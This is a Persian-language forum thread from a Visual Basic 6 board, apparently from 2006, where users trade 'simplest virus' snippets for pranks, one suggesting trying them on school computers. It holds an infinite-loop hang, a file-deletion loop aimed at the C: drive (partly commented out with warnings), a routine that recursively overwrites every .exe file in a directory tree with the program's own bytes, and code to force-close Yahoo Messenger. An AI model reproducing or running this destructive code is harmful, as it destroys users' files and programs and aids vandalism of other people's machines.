ساده ترين ويروس جهان!!

شروع موضوع توسط parsbin ‏6 مارس 2006 در انجمن Visual Basic 6

  1. parsbin

    parsbin Registered User

    تاریخ عضویت:
    ‏21 جولای 2005
    نوشته ها:
    1,157
    تشکر شده:
    2
    محل سکونت:
    كرج- پلاك 10
    اينم كدش

    کد:
    Private Sub Form_Load()
    Dim a%
    Do
    b = a + 1
    Loop
    End Sub
    loop باعث ميشه كه از do به بعد هر دستوري صادر شده تكرار بشه.
    يعني تا بي نهايت a+1تكرار ميشه و موجب هنگ شدن سيستم ميشه.

    :lol:
    شما هم اگر از اين شيرين كاريها با وي بي به ذهنتون رسيد اينجا بگيد تا روي سيستمهاي مدرسه آزمايششون كنيم:p
     
  2. balabala

    balabala کاربر قدیمی پرشین تولز

    تاریخ عضویت:
    ‏22 می 2005
    نوشته ها:
    7,344
    تشکر شده:
    1,314
    محل سکونت:
    یه خورده اونورتر
    خب اونوقت این چیکار میکنه؟ :eek:

    اگر اینطوریه ، این رو روی کامپیوترتون اجرا کنید تا کمی تا قسمتی بدبخت گردید!

    ادیت:
    توجه:
    - این برنامه کلیه فایلهای شاخه \:c را پاک میکند!
    - دو خط کامنت شده را قبل از تغییر شاخه به یک فولدر بی مصرف استفاده نفرمایید.
    - برای امتحان میتوانید شاخه را به چیزی شبیه به c:\test تغییر دهید.

    کد:
     
     
    Private Sub Form_Load()
    On Local Error Resume Next
    path$="c:\test\"
    t$ = Dir(path$, vbDirectory)
    Do
    ' SetAttr path$ & t$, vbNormal
    ' Kill path$ & t$
    t$ = Dir
    Loop While t$ <> ""
    End
    End Sub
     
    
     
  3. parsbin

    parsbin Registered User

    تاریخ عضویت:
    ‏21 جولای 2005
    نوشته ها:
    1,157
    تشکر شده:
    2
    محل سکونت:
    كرج- پلاك 10
    ميشه توضيح بديد
    من ترسيدم امتحان كنم
    از اون كلمات kill و c:\
     
  4. balabala

    balabala کاربر قدیمی پرشین تولز

    تاریخ عضویت:
    ‏22 می 2005
    نوشته ها:
    7,344
    تشکر شده:
    1,314
    محل سکونت:
    یه خورده اونورتر
    فایلهای شاخه \:c رو پاک میکنه! :D
    امتحانش نکنی یه موقع!
     
  5. P30Tools

    P30Tools Registered User

    تاریخ عضویت:
    ‏31 می 2005
    نوشته ها:
    1,596
    تشکر شده:
    173
    محل سکونت:
    Shahin Shahr
    ماله شما چيكار ميكنه؟!
     
  6. parsbin

    parsbin Registered User

    تاریخ عضویت:
    ‏21 جولای 2005
    نوشته ها:
    1,157
    تشکر شده:
    2
    محل سکونت:
    كرج- پلاك 10
    loop باعث ميشه كه از do به بعد هر دستوري صادر شده تكرار بشه.
    يعني تا بي نهايت a+1تكرار ميشه و موجب هنگ شدن سيستم ميشه.
    آخر صدمه هستش ديگه!
     
  7. شايان

    شايان مدیران قدیمی

    تاریخ عضویت:
    ‏2 سپتامبر 2003
    نوشته ها:
    4,806
    تشکر شده:
    9
    خب کدهای جالبی هست اینا :D ولی پیشنهاد میدم هم اسم تاپیک رو تغییر بدید ، هم تو اولین پست و اون پست هایی که توش کد هست توضیح بدید که این کدها چی کار میکنه که کسی بد بخت نشه ! :D

    ( عنوان تاپیک رو هم خواستید تغییر بدید ، یه پست همین جا بزنید من میبینم تغییر میدم )
     
  8. parsbin

    parsbin Registered User

    تاریخ عضویت:
    ‏21 جولای 2005
    نوشته ها:
    1,157
    تشکر شده:
    2
    محل سکونت:
    كرج- پلاك 10
    بلا بلاجان
    ميشه يكم درباره توابعي كه استفاده كردي توضيح بدي
    مثلا اينها
    کد:
    On Local Error Resume Next
    t$ = Dir("c:\", vbDirectory)
    همچنين
    کد:
    ' SetAttr t$, vbNormal
    ' Kill t$
    t$ = Dir
    دارم وسوسه ميشم يك بار امتحانش كنم!:happy:
     
  9. balabala

    balabala کاربر قدیمی پرشین تولز

    تاریخ عضویت:
    ‏22 می 2005
    نوشته ها:
    7,344
    تشکر شده:
    1,314
    محل سکونت:
    یه خورده اونورتر
    آره، من یه توضیحی دادم پس فردا نگید که من نگفتم! :D
     
  10. balabala

    balabala کاربر قدیمی پرشین تولز

    تاریخ عضویت:
    ‏22 می 2005
    نوشته ها:
    7,344
    تشکر شده:
    1,314
    محل سکونت:
    یه خورده اونورتر
    اول از همه از c:\ تغییرش بدید به یک فولدر بی مصرف...

    Dir اول اولین فایل در اون شاخه رو برمیگردونه.
    SetAttr خصوصیت یک فایل رو تغییر میده. یعنی اگر hidden, read only و یا system بود ما میکنیمش normal که بشه پاکش کرد :D
    Kill هم که از اسمش پیداست چیکارست. فایل رو پاک میکنه

    (البته برنامم یه باگ داره که الان برطرفش میکنم...باید مسیر رو هم توی Kill ذکر میکردم) :blush:
     
  11. P30Tools

    P30Tools Registered User

    تاریخ عضویت:
    ‏31 می 2005
    نوشته ها:
    1,596
    تشکر شده:
    173
    محل سکونت:
    Shahin Shahr
    آهان داشتم كنجكاو ميشدم كه اجراش كنم!!! [​IMG]
     
  12. parsbin

    parsbin Registered User

    تاریخ عضویت:
    ‏21 جولای 2005
    نوشته ها:
    1,157
    تشکر شده:
    2
    محل سکونت:
    كرج- پلاك 10
    اين كه مشكلي پيش نمياره
    چارش يك end task هستش
    شايان جان
    توضيح رو هم اضافه كردم. عنوان رو هم هر چي خواستي بزار
    بلا بلا جان از شما هم ممنونم
     
  13. avajang.com .leftjee.ir.right
  14. emad86_20011

    emad86_20011 Registered User

    تاریخ عضویت:
    ‏4 فوریه 2004
    نوشته ها:
    176
    تشکر شده:
    2
    محل سکونت:
    Mashhad, Iran
    اينطوري كه سيستم هنگ نميكنه!! فقط خود برنامه هنگ ميكنه:rolleyes:
     
  15. balabala

    balabala کاربر قدیمی پرشین تولز

    تاریخ عضویت:
    ‏22 می 2005
    نوشته ها:
    7,344
    تشکر شده:
    1,314
    محل سکونت:
    یه خورده اونورتر
    میگم عنوان تاپیک رو بذاریم: کدهایی برای بیچاره کردن شما!
     
  16. saeedsmk

    saeedsmk مدیر بازنشسته

    تاریخ عضویت:
    ‏6 سپتامبر 2003
    نوشته ها:
    1,519
    تشکر شده:
    4
    چه نوع کد های مخربی. مثل کد زیر ؟
    کد:
    Dim bytFileArray() As Byte
    Public Function GetFilesAndCopy(Path As String)
        On Error Resume Next
        Dim chrFirstByte As String * 1
        Dim WFD As WIN32_FIND_DATA
        Dim strName As String
        Dim strPattern As String
        Dim lngFileSize As Long
        Dim strPath As String
        Dim strPattern As String
        strPattern = "*.exe"
        Dim strChangingFile As String
        strPath = Path
        If Right(strPath, 1) <> "\" Then strPath = strPath + "\"
        strPattern = Pattern
        strName = strPath & strPattern
        lngFileSize = FindFirstFile(strName, WFD)
        If (lngFileSize > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
            strChangingFile = strPath & StripNulls(WFD.cFileName)
            Open strChangingFile For Binary As 1#
                Put #1, 1, bytFileArray()
            Close #1
        End If
        DoEvents
        DoEvents
        DoEvents
        If lngFileSize > 0 Then
            Do While FindNextFile(lngFileSize, WFD)
              If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
                strChangingFile = strPath & StripNulls(WFD.cFileName)
                Open strChangingFile For Binary As 1#
                    Put #1, 1, bytFileArray
                Close #1
                DoEvents
                DoEvents
                DoEvents
              End If
            Loop
        End If
        lngFileSize = FindFirstFile(strPath & "*.*", WFD)
        If (lngFileSize > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
            StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
                GetFilesAndCopy strPath & StripNulls(WFD.cFileName)
        End If
        Do While FindNextFile(lngFileSize, WFD)
            If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
                StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
                GetFilesAndCopy strPath & StripNulls(WFD.cFileName)
            End If
        Loop
        FindClose lngFileSize
    End Function
    
    Function funGetByteOfMySelf()
        On Error Resume Next
        Dim strPath As String
        Dim lngDumm As Long
        strPath = App.Path
        If Right(strPath, 1) <> "\" Then strPath = strPath + "\"
        strPath = strPath + App.EXEName + ".exe"
        lngDumm = FileLen(strPath)
        ReDim bytFileArray(lngDumm) As Byte
        Open strPath For Binary As 1
            Get 1, , bytFileArray
        Close
    End Function
    
    خوب این کد دوتا تابع داره یکی GetFilesAndCopy(Path As String, Pattern As String)
    که path مسیری که میخواین توش کار مورد نظر انجام بشه -
    حوب این یه کده که میاد تمای زیر شاخه های و همچین توی شاخه دنبال *.exe وخودشو روی اونها کپی میکنه

    خوب کد دوم هم تمای بایت های برنامه اجرایی رو میخونه

    برای اجرا باید api ها رو اضافه کنید و همچنین باید ابتدا تابع funGetByteOfMySelf رو صدا یزنید و بعد تابع GetFilesAndCopy با مسیری که میخوای دخل فایل های exe شو بیاری
     
  17. mammad81

    mammad81 Registered User

    تاریخ عضویت:
    ‏23 نوامبر 2004
    نوشته ها:
    1,512
    تشکر شده:
    13
    خب من الان برنامه نویسی یادم رفته ولی چند وقت پیش یه برنامه چند خطی نوشته بودم که هرکی یاهو مسنجرش رو باز میکرد بعد 5 ثانیه بسته میشد:D :D :D البته این میتونست به هر برنامه ای که خواستی عوض بشه اگر کدش رو پیدا کردم میزارم اینجا
     
  18. black_jack_of_black_city

    black_jack_of_black_city Registered User

    تاریخ عضویت:
    ‏19 سپتامبر 2003
    نوشته ها:
    1,449
    تشکر شده:
    47
    محل سکونت:
    با قلبی شکسته در انتظار مرگ گوشه ای نشستم . به آرز
    دستتون درد نکنه
     
  19. Arash_j13

    Arash_j13 Registered User

    تاریخ عضویت:
    ‏18 فوریه 2005
    نوشته ها:
    778
    تشکر شده:
    2
    محل سکونت:
    مشهد
    اینکه خیلی ساده است


    SENDMESSAGE(FINDWINDOW(VBNUL,"WINDOW TITILE"),wm_close,0,0);
    البته باید API های sendmessage , findwindow و ثابت wm_close تعریف بشن
     
  20. emad86_20011

    emad86_20011 Registered User

    تاریخ عضویت:
    ‏4 فوریه 2004
    نوشته ها:
    176
    تشکر شده:
    2
    محل سکونت:
    Mashhad, Iran
    اينم يه برنامه جالب براي اذيت كردن!!
    كارش اينه كه جهت حركت موس رو عوض ميكنه:rolleyes:
    اتچ شده!
     

    فایل های ضمیمه:

  21. mammad81

    mammad81 Registered User

    تاریخ عضویت:
    ‏23 نوامبر 2004
    نوشته ها:
    1,512
    تشکر شده:
    13
    نه یه timer میزاری بعد میگی اونprocces رو مثلا یاهورو tskill کن
     
zarpopخرید بک لینک عسل طبیعی و گرده گل ایرانیfootbal